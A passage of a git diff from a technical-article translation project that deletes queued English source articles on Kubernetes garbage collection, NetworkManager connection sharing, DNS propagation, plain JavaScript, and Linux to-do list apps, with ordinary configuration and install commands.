node, we only had one master node in our development cluster, and the load on that node was very high for the instance size we used. - -So I tried to reproduce the issue myself. I deleted the `kube-controller-manager` pod, a new one spun up, and I checked its logs. Once I saw some logs about garbage collection, I finally put two and two together and went back to the garbage collection docs. And there it was: - -> "**Note:** Cross-namespace owner references are disallowed by design. This means: 1) Namespace-scoped dependents can only specify owners in the same namespace, and owners that are cluster-scoped. 2) Cluster-scoped dependents can only specify cluster-scoped owners, but not namespace-scoped owners." - -Our custom resource was namespace-scoped, but the namespaces are cluster-scoped. And the Kubernetes API server creates namespaces even if the owner reference we use is disallowed by design. So the namespaces were created with the owner references, and then they had to be deleted since garbage collection follows the documented rules.  - -### The lessons learned - -The technical lesson I learned is simple: Don't use owner references in which a namespace-scoped resource owns a cluster-scoped resource or a resource in a different namespace. When you use these "disallowed by design" owner references, your Kubernetes resources will be deleted by the garbage-collection routine whenever the `kube-controller-manager pod` starts up. - -But the more important lesson I learned is _not to underestimate the documentation_. If I was more patient when I read the documentation the first time, I would have definitely saved myself some time. - -You might also think that we could have avoided this if we followed my advice back when the invalid owner reference was added to the codebase. But it turns out it was not documented yet. A [pull request][14] in February 2019 added this important note, long after Kubernetes was a well-established technology. - -I think this highlights the fact that there is always room for improvement in documentation. Let's do it together, starting with reading the guide to [contributing to Kubernetes docs][15]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/kubernetes-garbage-collection - -作者:[Oleg Matskiv][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/oleg-matskiv -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ -[3]: https://kubernetes.io/docs/concepts/workloads/controllers/garbage-collection/ -[4]: https://sdk.operatorframework.io/ -[5]: https://kubernetes.io/docs/concepts/architecture/controller/ -[6]: https://sdk.operatorframework.io/docs/golang/quickstart/ -[7]: https://www.redhat.com/en/topics/devops/what-is-sre -[8]: https://opensource.com/sites/default/files/uploads/512px-7_habits_decision-making_matrix.png (Decision-making matrix) -[9]: https://commons.wikimedia.org/wiki/File:7_habits_decision-making_matrix.png -[10]: https://creativecommons.org/licenses/by-sa/4.0/ -[11]: https://en.wikipedia.org/wiki/Time_management#The_Eisenhower_Method -[12]: https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/ -[13]: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ -[14]: https://github.com/kubernetes/website/pull/12543 -[15]: https://kubernetes.io/docs/contribute/ diff --git a/sources/tech/20200617 Internet connection sharing with NetworkManager.md b/sources/tech/20200617 Internet connection sharing with NetworkManager.md deleted file mode 100644 index cfac08c660..0000000000 --- a/sources/tech/20200617 Internet connection sharing with NetworkManager.md +++ /dev/null @@ -1,163 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Internet connection sharing with NetworkManager) -[#]: via: (https://fedoramagazine.org/internet-connection-sharing-networkmanager/) -[#]: author: (bengal https://fedoramagazine.org/author/bengal/) - -Internet connection sharing with NetworkManager -====== - -![][1] - -NetworkManager is the network configuration daemon used on Fedora and many other distributions. It provides a consistent way to configure network interfaces and other network-related aspects on a Linux machine. Among many other features, it provides a Internet connection sharing functionality that can be very useful in different situations. - -For example, suppose you are in a place without Wi-Fi and want to share your laptop’s mobile data connection with friends. Or maybe you have a laptop with broken Wi-Fi and want to connect it via Ethernet cable to another laptop; in this way the first laptop become able to reach the Internet and maybe download new Wi-Fi drivers. - -In cases like these it is useful to share Internet connectivity with other devices. On smartphones this feature is called “Tethering” and allows sharing a cellular connection via Wi-Fi, Bluetooth or a USB cable. - -This article shows how the connection sharing mode offered by NetworkManager can be set up easily; it addition, it explains how to configure some more advanced features for power users. - -### How connection sharing works - -The basic idea behind connection sharing is that there is an _upstream_ interface with Internet access and a _downstream_ interface that needs connectivity. These interfaces can be of a different type—for example, Wi-Fi and Ethernet. - -If the upstream interface is connected to a LAN, it is possible to configure our computer to act as a _bridge_; a bridge is the software version of an Ethernet switch. In this way, you “extend” the LAN to the downstream network. However this solution doesn’t always play well with all interface types; moreover, it works only if the upstream network uses private addresses. - -A more general approach consists in assigning a private IPv4 subnet to the downstream network and turning on routing between the two interfaces. In this case, NAT (Network Address Translation) is also necessary. The purpose of NAT is to modify the source of packets coming from the downstream network so that they look as if they originate from your computer. - -It would be inconvenient to configure manually all the devices in the downstream network. Therefore, you need a DHCP server to assign addresses automatically and configure hosts to route all traffic through your computer. In addition, in case the sharing happens through Wi-Fi, the wireless network adapter must be configured as an access point. - -There are many tutorials out there explaining how to achieve this, with different degrees of difficulty. NetworkManager hides all this complexity and provides a _shared_ mode that makes this configuration quick and convenient. - -### Configuring connection sharing - -The configuration paradigm of NetworkManager is based on the concept of connection (or connection profile). A connection is a group of settings to apply on a network interface. - -This article shows how to create and modify such connections using _nmcli_, the NetworkManager command line utility, and the GTK connection editor. If you prefer, other tools are available such as _nmtui_ (a text-based user interface), GNOME control center or the KDE network applet. - -A reasonable prerequisite to share Internet access is to have it available in the first place; this implies that there is already a NetworkManager connection active. If you are reading this, you probably already have a working Internet connection. If not, see [this article][2] for a more comprehensive introduction to NetworkManager. - -The rest of this article assumes you already have a Wi-Fi connection profile configured and that connectivity must be shared over an Ethernet interface _enp1s0_. - -To enable sharing, create a connection for interface enp1s0 and set the ipv4.method property to _shared_ instead of the usual _auto_: - -``` -$ nmcli connection add type ethernet ifname enp1s0 ipv4.method shared con-name local -``` - -The shared IPv4 method does multiple things: - - * enables IP forwarding for the interface; - * adds firewall rules and enables masquerading; - * starts dnsmasq as a DHCP and DNS server. - - - -NetworkManager connection profiles, unless configured otherwise, are activated automatically. The new connection you have added should be already active in the device status: - -``` -$ nmcli device -DEVICE TYPE STATE CONNECTION -enp1s0 ethernet connected local -wlp4s0 wifi connected home-wifi -``` - -If that is not the case, activate the profile manually with _nmcli connection up local_. - -### Changing the shared IP range - -Now look at how NetworkManager configured the downstream interface enp1s0: - -``` -$ ip -o addr show enp1s0 -8: enp1s0 inet 10.42.0.1/24 brd 10.42.0.255 ... -``` - -10.42.0.1/24 is the default address set by NetworkManager for a device in shared mode. Addresses in this range are also distributed via DHCP to other computers. If the range conflicts with other private networks in your environment, change it by modifying the _ipv4.addresses_ property: - -``` -$ nmcli connection modify local ipv4.addresses 192.168.42.1/24 -``` - -Remember to activate again the connection profile after any change to apply the new values: - -``` -$ nmcli connection up local - -$ ip -o addr show enp1s0 -8: enp1s0 inet 192.168.42.1/24 brd 192.168.42.255 ... -``` - -If you prefer using a graphical tool to edit connections, install the _nm-connection-editor_ package. Launch the program and open the connection to edit; then select the _Shared to other computers_ method in the _IPv4 Settings_ tab. Finally, if you want to use a specific IP subnet, click _Add_ and insert an address and a netmask. - -![][3] - -### Adding custom dnsmasq options - -In case you want to further extend the dnsmasq configuration, you can add new configuration snippets in _/etc/NetworkManager/dnsmasq-shared.d/_. For example, the following configuration: - -``` -dhcp-option=option:ntp-server,192.168.42.1 -dhcp-host=52:54:00:a4:65:c8,192.168.42.170 -``` - -tells dnsmasq to advertise a NTP server via DHCP. In addition, it assigns a static IP to a client with a certain MAC. - -There are many other useful options in the dnsmasq manual page. However, remember that some of them may conflict with the rest of the configuration; so please use custom options only if you know what you are doing. - -### Other useful tricks - -If you want to set up sharing via Wi-Fi, you could create a connection in Access Point mode, manually configure the security, and then enable connection sharing. Actually, there is a quicker way, the hotspot mode: - -``` -$ nmcli device wifi hotspot [ifname $dev] [password $pw] -``` - -This does everything needed to create a functional access point with connection sharing. The interface and password options are optional; if they are not specified, _nmcli_ chooses the first Wi-Fi device available and generates a random password. Use the ‘_nmcli device wifi show-password_‘ command to display information for the active hotspot; the output includes the password and a text-based QR code that you can scan with a phone: - -![][4] - -### What about IPv6? - -Until now this article discussed sharing IPv4 connectivity. NetworkManager also supports sharing IPv6 connectivity through DHCP prefix delegation. Using prefix delegation, a computer can request additional IPv6 prefixes from the DHCP server. Those public routable addresses are assigned to local networks via Router Advertisements. Again, NetworkManager makes all this easier through the shared IPv6 mode: - -``` -$ nmcli connection modify local ipv6.method shared -``` - -Note that IPv6 sharing requires support from the Internet Service Provider, which should give out prefix delegations through DHCP. If the ISP doesn’t provides delegations, IPv6 sharing will not work; in such case NM will report in the journal that no prefixes are available: - -``` -policy: ipv6-pd: none of 0 prefixes of wlp1s0 can be shared on enp1s0 -``` - -Also, note that the Wi-Fi hotspot command described above only enables IPv4 sharing; if you want to also use IPv6 sharing you must edit the connection manually. - -### Conclusion - -Remember, the next time you need to share your Internet connection, NetworkManager will make it easy for you. - -If you have suggestions on how to improve this feature or any other feedback, please reach out to the NM community using the [mailing list][5], the [issue tracker][6] or joining the _#nm_ IRC channel on _freenode_. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/internet-connection-sharing-networkmanager/ - -作者:[bengal][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/bengal/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/06/networkmanager-connection_sharing-816x345.png -[2]: https://www.redhat.com/sysadmin/becoming-friends-networkmanager -[3]: https://fedoramagazine.org/wp-content/uploads/2020/06/nmce.png -[4]: https://fedoramagazine.org/wp-content/uploads/2020/06/hotspot-password.png -[5]: https://mail.gnome.org/mailman/listinfo/networkmanager-list -[6]: https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/issues diff --git a/sources/tech/20200617 What happens when you update your DNS.md b/sources/tech/20200617 What happens when you update your DNS.md deleted file mode 100644 index 0a17d1d621..0000000000 --- a/sources/tech/20200617 What happens when you update your DNS.md +++ /dev/null @@ -1,236 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What happens when you update your DNS?) -[#]: via: (https://jvns.ca/blog/how-updating-dns-works/) -[#]: author: (Julia Evans https://jvns.ca/) - -What happens when you update your DNS? -====== - -I’ve seen a lot of people get confused about updating their site’s DNS records to change the IP address. Why is it slow? Do you really have to wait 2 days for everything to update? Why do some people see the new IP and some people see the old IP? What’s happening? - -So I wanted to write a quick exploration of what’s happening behind the scenes when you update a DNS record. - -### how DNS works: recursive vs authoritative DNS servers - -First, we need to explain a little bit about DNS. There are 2 kinds of DNS servers: **authoritative** and **recursive**. - -**authoritative** DNS servers (also known as **nameservers**) have a database of IP addresses for each domain they’re responsible for. For example, right now an authoritative DNS server for github.com is ns-421.awsdns-52.com. You can ask it for github.com’s IP like this; - -``` -dig @ns-421.awsdns-52.com github.com -``` - -**recursive** DNS servers, by themselves, don’t know anything about who owns what IP address. They figure out the IP address for a domain by asking the right authoritative DNS servers, and then cache that IP address in case they’re asked again. 8.8.8.8 is a recursive DNS server. - -When people visit your website, they’re probably making their DNS queries to a recursive DNS server. So, how do recursive DNS servers work? Let’s see! - -### how does a recursive DNS server query for github.com? - -Let’s go through an example of what a recursive DNS server (like 8.8.8.8) does when you ask it for an IP address (A record) for github.com. First – if it already has something cached, it’ll give you what it has cached. But what if all of its caches are expired? Here’s what happens: - -**step 1**: it has IP addresses for the root DNS servers hardcoded in its source code. You can see this in [unbound’s source code here][1]. Let’s say it picks `198.41.0.4` to start with. Here’s the [official source][2] for those hardcoded IP addresses, also known as a “root hints file”. - -**step 2**: Ask the root nameservers about `github.com`. - -We can roughly reproduce what happens with `dig`. What this gives us is a new authoritative nameserver to ask: a nameserver for `.com`, with the IP `192.5.6.30`. - -``` -$ dig @198.41.0.4 github.com -... -com. 172800 IN NS a.gtld-servers.net. -... -a.gtld-servers.net. 172800 IN A 192.5.6.30 -... -``` - -The details of the DNS response are a little more complicated than that – in this case, there’s an authority section with some NS records and an additional section with A records so you don’t need to do an extra lookup to get the IP addresses of those nameservers. - -(in practice, 99.99% of the time it’ll already have the address of the `.com` nameservers cached, but we’re pretending we’re really starting from scratch) - -**step 3**: Ask the `.com` nameservers about `github.com`. - -``` -$ dig @192.5.6.30 github.com -... -github.com. 172800 IN NS ns-421.awsdns-52.com. -ns-421.awsdns-52.com. 172800 IN A 205.251.193.165 -... -``` - -We have a new IP address to ask! This one is the nameserver for `github.com`. - -**step 4**: Ask the `github.com` nameservers about `github.com`. - -We’re almost done! - -``` -$ dig @205.251.193.165 github.com - -github.com. 60 IN A 140.82.112.4 -``` - -Hooray!! We have an `A` record for `github.com`! Now the recursive nameserver has `github.com`’s IP address and can return it back to you. And it could do all of this by only hardcoding a few IP addresses: the addresses of the root nameservers. - -### how to see all of a recursive DNS server’s steps: `dig +trace` - -When I want to see what a recursive DNS server would do when resolving a domain, I run - -``` -$ dig @8.8.8.8 +trace github.com -``` - -This shows all the DNS records that it requests, starting at the root DNS servers – all the 4 steps that we just went through. - -### let’s update some DNS records! - -Now that we know the basics of how DNS works, let’s update some DNS records and see what happens. - -When you update your DNS records, there are two main options: - - 1. keep the same nameservers - 2. change nameservers - - - -### let’s talk about TTLs - -We’ve forgotten something important though! TTLs! You know how we said earlier that the recursive DNS server will cache records until they expire? The way it decides whether the record should expire is by looking at its **TTL** or “time to live”. - -In this example, the TTL for the A record github’s nameserver returns for its DNS record is `60`, which means 60 seconds: - -``` -$ dig @205.251.193.165 github.com - -github.com. 60 IN A 140.82.112.4 -``` - -That’s a pretty short TTL, and _in theory_ if everybody’s DNS implementation followed the [DNS standard][3] it means that if Github decided to change the IP address for `github.com`, everyone should get the new IP address within 60 seconds. Let’s see how that plays out in practice - -### option 1: update a DNS record on the same nameservers - -First, I updated my nameservers (Cloudflare) to have a new DNS record: an A record that maps `test.jvns.ca` to `1.2.3.4`. - -``` -$ dig @8.8.8.8 test.jvns.ca -test.jvns.ca. 299 IN A 1.2.3.4 -``` - -This worked immediately! There was no need to wait at all, because there was no `test.jvns.ca` DNS record before that could have been cached. Great. But it looks like the new record is cached for ~5 minutes (299 seconds). - -So, what if we try to change that IP? I changed it to `5.6.7.8`, and then ran the same DNS query. - -``` -$ dig @8.8.8.8 test.jvns.ca -test.jvns.ca. 144 IN A 1.2.3.4 -``` - -Hmm, it seems like that DNS server has the `1.2.3.4` record still cached for another 144 seconds. Interestingly, if I query `8.8.8.8` multiple times I actually get inconsistent results – sometimes it’ll give me the new IP and sometimes the old IP, I guess because 8.8.8.8 actually load balances to a bunch of different backends which each have their own cache. - -After I waited 5 minutes, all of the `8.8.8.8` caches had updated and were always returning the new `5.6.7.8` record. Awesome. That was pretty fast! - -### you can’t always rely on the TTL - -As with most internet protocols, not everything obeys the DNS specification. Some ISP DNS servers will cache records for longer than the TTL specifies, like maybe for 2 days instead of 5 minutes. And people can always hardcode the old IP address in their /etc/hosts. - -What I’d expect to happen in practice when updating a DNS record with a 5 minute TTL is that a large percentage of clients will move over to the new IPs quickly (like within 15 minutes), and then there will be a bunch of stragglers that slowly update over the next few days. - -### option 2: updating your nameservers - -So we’ve seen that when you update an IP address without changing your nameservers, a lot of DNS servers will pick up the new IP pretty quickly. Great. But what happens if you change your nameservers? Let’s try it! - -I didn’t want to update the nameservers for my blog, so instead I went with a different domain I own and use in the examples for the [HTTP zine][4]: `examplecat.com`. - -Previously, my nameservers were set to dns1.p01.nsone.net. I decided to switch them over to Google’s nameservers – `ns-cloud-b1.googledomains.com` etc. - -When I made the change, my domain registrar somewhat ominiously popped up the message – “Changes to examplecat.com saved. They’ll take effect within the next 48 hours”. Then I set up a new A record for the domain, to make it point to `1.2.3.4` - -Okay, let’s see if that did anything - -``` -$ dig @8.8.8.8 examplecat.com -examplecat.com. 17 IN A 104.248.50.87 -``` - -No change. If I ask a different DNS server, it knows the new IP: - -``` -$ dig @1.1.1.1 examplecat.com -examplecat.com. 299 IN A 1.2.3.4 -``` - -but 8.8.8.8 is still clueless. The reason 1.1.1.1 sees the new IP even though I just changed it 5 minutes ago is presumably that nobody had ever queried 1.1.1.1 about examplecat.com before, so it had nothing in its cache. - -### nameserver TTLs are much longer - -The reason that my registrar was saying “THIS WILL TAKE 48 HOURS” is that the TTLs on NS records (which are how recursive nameservers know which nameserver to ask) are MUCH longer! - -The new nameserver is definitely returning the new IP address for `examplecat.com` - -``` -$ dig @ns-cloud-b1.googledomains.com examplecat.com -examplecat.com. 300 IN A 1.2.3.4 -``` - -But remember what happened when we queried for the `github.com` nameservers, way back? - -``` -$ dig @192.5.6.30 github.com -... -github.com. 172800 IN NS ns-421.awsdns-52.com. -ns-421.awsdns-52.com. 172800 IN A 205.251.193.165 -... -``` - -172800 seconds is 48 hours! So nameserver updates will in general take a lot longer to expire from caches and propagate than just updating an IP address without changing your nameserver. - -### how do your nameservers get updated? - -When I update the nameservers for `examplecat.com`, what happens is that he `.com` nameserver gets a new `NS` record with the new domain. Like this: - -``` -dig ns @j.gtld-servers.net examplecat.com - -examplecat.com. 172800 IN NS ns-cloud-b1.googledomains.com -``` - -But how does that new NS record get there? What happens is that I tell my **domain registrar** what I want the new nameservers to be by updating it on the website, and then my domain registrar tells the `.com` nameservers to make the update. - -For `.com`, these updates happen pretty fast (within a few minutes), but I think for some other TLDs the TLD nameservers might not apply updates as quickly. - -### your program’s DNS resolver library might also cache DNS records - -One more reason TTLs might not be respected in practice: many programs need to resolve DNS names, and some programs will also cache DNS records indefinitely in memory (until the program is restarted). - -For example, AWS has an article on [Setting the JVM TTL for DNS Name Lookups][5]. I haven’t written that much JVM code that does DNS lookups myself, but from a little Googling about the JVM and DNS it seems like you can configure the JVM so that it caches every DNS lookup indefinitely. (like [this elasticsearch issue][6]) - -### that’s all! - -I hope this helps you understand what’s going on when updating your DNS! - -As a disclaimer, again – TTLs definitely don’t tell the whole story about DNS propagation – some recursive DNS servers definitely don’t respect TTLs, even if the major ones like 8.8.8.8 do. So even if you’re just updating an A record with a short TTL, it’s very possible that in practice you’ll still get some requests to the old IP for a day or two. - -Also, I changed the nameservers for `examplecat.com` back to their old values after publishing this post. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/how-updating-dns-works/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://github.com/NLnetLabs/unbound/blob/6e0756e819779d9cc2a14741b501cadffe446c93/iterator/iter_hints.c#L131 -[2]: https://www.iana.org/domains/root/files -[3]: https://tools.ietf.org/html/rfc1035 -[4]: https://wizardzines.com/zines/http/ -[5]: https://docs.aws.amazon.com/sdk-for-java/v1/developer-guide/java-dg-jvm-ttl.html -[6]: https://github.com/elastic/elasticsearch/issues/16412 diff --git a/sources/tech/20200619 A little bit of plain Javascript can do a lot.md b/sources/tech/20200619 A little bit of plain Javascript can do a lot.md deleted file mode 100644 index ac36191038..0000000000 --- a/sources/tech/20200619 A little bit of plain Javascript can do a lot.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A little bit of plain Javascript can do a lot) -[#]: via: (https://jvns.ca/blog/2020/06/19/a-little-bit-of-plain-javascript-can-do-a-lot/) -[#]: author: (Julia Evans https://jvns.ca/) - -A little bit of plain Javascript can do a lot -====== - -I’ve never worked as a professional frontend developer, so even though I’ve been writing HTML/CSS/JS for 15 years for little side projects, all of the projects have been pretty small, sometimes I don’t write any Javascript for years in between, and I often don’t quite feel like I know what I’m doing. - -Partly because of that, I’ve leaned on libraries a lot! Ten years ago I used to use jQuery, and since maybe 2017 I’ve been using a lot of vue.js for my little Javascript projects (you can see a [little whack-a-mole game I made here as an intro to Vue][1]). - -But last week, for the first time in a while, I wrote some plain Javascript without a library and it was fun so I wanted to talk about it a bit! - -### experimenting with just plain Javascript - -I really like Vue. But last week when I started building , I had slightly different constraints than usual – I wanted to use the same HTML to generate both a PDF (with [Prince][2]) and to make an interactive version of the questions. - -I couldn’t really see how that would work with Vue (because Vue wants to create all the HTML itself), and because it was a small project I decided to try writing it in plain Javascript with no libraries – just write some HTML/CSS and add a single ``. - -I hadn’t done this in a while, and I learned a few things along the way that made it easier than I thought it would be when I started. - -### do almost everything by adding & removing CSS classes - -I decided to implement almost all of the UI by just adding & removing CSS classes, and using [CSS transitions][3] if I want to animate a transition. - -here’s a small example, where clicking the “next” question button adds the “done” class to the parent div. - -``` -div.querySelector('.next-question').onclick = function () { - show_next_row(); - this.parentElement.parentElement.classList.add('done'); -} -``` - -This worked pretty well. My CSS as always is a bit of a mess but it felt manageable. - -### add/remove CSS classes with `.classList` - -I started out by editing the classes like this: `x.className = 'new list of classes'`. That felt a bit messy though and I wondered if there was a better way. And there was! - -You can also add CSS classes like this: - -``` -let x = document.querySelector('div'); -x.classList.add('hi'); -x.classList.remove('hi'); -``` - -`element.classList.remove('hi')` is way cleaner than what I was doing before. - -### find elements with `document.querySelectorAll` - -When I started learning jQuery I remember thinking that if you wanted to easily find something in the DOM you had to use jQuery (like `$('.class')`). I just learned this week that you can actually write `document.querySelectorAll('.some-class')` instead, and then you don’t need to depend on any library! - -I got curious about when `querySelectorAll` was introduced. I Googled a tiny bit and it looks like the [Selectors API was built sometime between 2008 and 2013 – I found a [post from the jQuery author discussing the proposed implementation in 2008][4], and [a blog post from 2011][5] saying it was in all major browsers by then, so maybe it didn’t exist when I started using jQuery but it’s definitely been around for quite a while :) - -### set `.innerHTML` - -In one place I wanted to change a button’s HTML contents. Creating DOM elements with `document.createElement` is pretty annoying, so I tried to do that as little as possible and instead set `.innerHTML` to the HTML string I wanted: - -``` -button.innerHTML = `I learned something! - -`; -``` - -### scroll through the page with `.scrollIntoView` - -The last fun thing I learned about is `.scrollIntoView` – I wanted to scroll down to the next question automatically when someone clicked “next question”. Turns out this is just one line of code: - -``` -row.classList.add('revealed'); -row.scrollIntoView({behavior: 'smooth', block: 'center'}); -``` - -### another vanilla JS example: peekobot - -Another small example of a plain JS library I thought was nice is [peekobot][6], which is a little chatbot interface that’s 100 lines of JS/CSS. - -Looking at [its Javascript][7], it uses some similar patterns – a lot of `.classList.add`, some adding elements to the DOM, some `.querySelectorAll`. - -I learned from reading peekobot’s source about [.closest][8] which finds the closest ancestor that matches a given selector. That seems like it would be a nice way to get rid of some of the `.parentElement.parentElement` that I was writing in my Javascript, which felt a bit fragile. - -### plain Javascript can do a lot! - -I was pretty surprised by how much I could get done with just plain JS. I ended up writing about 50 lines of JS to do everything I wanted to do, plus a bit extra to collect some anonymous metrics about what folks were learning. - -As usual with my frontend posts, this isn’t meant to be Serious Frontend Engineering Advice – my goal is to be able to write little websites with less than 200 lines of Javascript that mostly work. If you are also flailing around in frontend land I hope this helps a bit! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/06/19/a-little-bit-of-plain-javascript-can-do-a-lot/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://jvns.ca/blog/2017/06/26/vue-js-fun/ -[2]: https://www.princexml.com/ -[3]: https://3dtransforms.desandro.com/card-flip -[4]: https://johnresig.com/blog/thoughts-on-queryselectorall/ -[5]: https://tiffanybbrown.com/2011/08/12/meet-the-selectors-api/ -[6]: https://peekobot.github.io/peekobot/ -[7]: https://github.com/Peekobot/peekobot/blob/master/peekobot.js -[8]: https://developer.mozilla.org/en-US/docs/Web/API/Element/closest diff --git a/sources/tech/20200619 Get Your Work Done Faster With These To-Do List Apps on Linux Desktop.md b/sources/tech/20200619 Get Your Work Done Faster With These To-Do List Apps on Linux Desktop.md deleted file mode 100644 index 503790687a..0000000000 --- a/sources/tech/20200619 Get Your Work Done Faster With These To-Do List Apps on Linux Desktop.md +++ /dev/null @@ -1,203 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Get Your Work Done Faster With These To-Do List Apps on Linux Desktop) -[#]: via: (https://itsfoss.com/to-do-list-apps-linux/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Get Your Work Done Faster With These To-Do List Apps on Linux Desktop -====== - -Getting work done is super important. If you have a planned list of things to do, it makes your work easier. So, it’s no surprise why we’re talking about to-do list apps on Linux here. - -Sure, you can easily utilize some of the [best note taking apps on Linux][1] for this purpose but using a dedicated to-do app helps you stay focused on work. - -You might be aware of some online services for that— but how about some [cool Linux apps][2] that you can use to create a to-do list? In this article, I’m going to highlight the best to-do list apps available for Linux. - -### Best To-Do List Applications For Desktop Linux Users - -![][3] - -I have tested these apps on Pop!_OS. I have also tried to mention the installation steps for the mentioned apps but you should check your distribution’s package manager for details. - -**Note:** The list is in no particular order of ranking - -#### 1\. Planner - -![][4] - -Planner is probably the best to-do list app I’ve across for Linux distributions. - -The best thing is — it is a free and open-source project. It provides a beautiful user interface that aims to give you a meaningful user experience. In other words, it’s simple and yet attractive. - -Not to forget, you get a gorgeous dark mode. As you can see in the screenshot above, you can also choose to add emojis to add some fun to your serious work tasks. - -Overall, it looks clean while offering features like the ability to add repeating tasks, creating separate folder/projects, sync with [todoist][5] etc. - -#### How to install it? - -If you’re using [elementary OS][6], you can find it listed in the app center. In either case, they also offer a [Flatpak package on Flathub][7]. - -Unless you have Flatpak integration in your software center, you should follow our guide to [use Flatpak on Linux][8] to get it installed. - -In case you want to explore the source code, take a look at its [GitHub page][9]. - -[Planner][10] - -### 2\. Go For It! - -![][11] - -Yet another impressive open-source to-do app for Linux which is based on [todotxt][12]. Even though it isn’t available for Ubuntu 20.04 (or later) at the time of writing this, you can still use it on machines with Ubuntu 19.10 or older. - -In addition to the ability to adding tasks, you can also specify the duration/interval of your break. So, with this to-do app, you will not just end up completing the tasks but also being productive without stressing out. - -The user interface is plain and simple with no fancy features. We also have a separate article on [Go][13] [For It][13] — if you’d like to know more about it. - -You can also use it on your Android phone using the [Simpletask Dropbox app][14]. - -#### How to install it? - -You can type the commands below to install it on any Ubuntu-based distro (prior to Ubuntu 20.04): - -``` -sudo add-apt-repository ppa:go-for-it-team/go-for-it-stable -sudo apt update -sudo apt install go-for-it -``` - -In case you want to install it on any other Linux distro, you can try the [Flatpak package on Flathub][15]. - -If you don’t know about Flatpak — take a look at our [complete guide on using Flatpak][8]. To explore more about it, you can also head to their [GitHub page][16]. - -[Go For It!][16] - -#### 3\. GNOME To Do - -![][17] - -If you’re [using Ubuntu][18] or other Linux distribution with GNOME desktop envioenment, you should already have it installed. Just search for “To Do” and you should find it. - -It’s a simple to-do app which presents the list in the form of cards and you can have separate set of tasks every card. You can add a schedule to the tasks as well. It supports extensions with which you can enable the support for todo.txt files and also integration with [todoist][5]. - -[GNOME To Do][19] - -#### 4\. Taskwarrior [Terminal-based] - -![][20] - -A command-line based open-source to-do list program “[Taskwarrior][21]” is an impressive tool if you don’t need a Graphical User Interface (GUI). It also provides cross-platform support (Windows and macOS). - -It’s quite easy to add and list tasks along with a due date as shown in the screenshot above. - -To make the most out of it, I would suggest you to follow the [official documentation][22] to know how to use it and the options/features that it offers. - -##### How to install it? - -You can find it in your respective package managers on any Linux distribution. To get it intalled in Ubuntu, you will have to type the following in the terminal: - -``` -sudo apt install taskwarrior -``` - -For Manjaro Linux, you can simply get it installed through [pamac][23] that you usually need to [install software in Manjaro Linux.][24] - -In case of any other Linux distributions, you should head to its [official download page][25] and follow the instructions. - -[Taskwarrior][21] - -#### 5\. Task Coach - -![][26] - -Task Coach is yet another open-source to-do list app that offers quite a lot of essential features. You can add sub-tasks, description to your task, add dates, notes, and a lot more things. It also supports tree view for the task lists you add and manage. - -It’s a good thing to see that it offers cross-platform support (Windows, macOS, and Android). - -Overall, it’s easy to use with tons of options and works well. - -#### How to install it? - -It offers both **.deb** and **.rpm** packages for Ubuntu and Fedora. In addition to that, you can also install it using PPA. - -You can find all the necessary files and instructions from its [official download page][27]. - -You may notice an installation error for its dependencies on Ubuntu 20.04. But, I believe it should work fine on the previous Ubuntu releases. - -In my case, it worked out fine for me when using the [AUR package][28] through Pamac on Manjaro Linux. - -[Task Coach][29] - -#### 6\. Todour - -![][30] - -A very simple open-source to-do list app that lets you utilize todo.txt file as well. You may not get a lot of options to choose from — but you get a couple of useful settings to tweak. - -It may not be the most actively developed to-do list app — but it does the work expected. - -#### How to install Todour? - -If you’re using Manjaro Linux, you can utilize pamac to install Todour from [AUR][28]. - -Unfortunately, it does not provide any **.deb** or **.rpm** package for Ubuntu/Fedora. So, you’ll have to build it from source or just explore more about it on its [GitHub page][31]. - -[Todour][32] - -### Wrapping Up - -As an interesting mention, I’d like you to take a look at [TodoList][33], which is an applet for KDE-powered distributions. Among mainstream to-do list applications, [Remember The Milk is the rare one that provides a Linux client][34]. It is not open source, though. - -I hope this list of to-do specific apps help you get things done on Linux. - -Did I miss any of your favorite 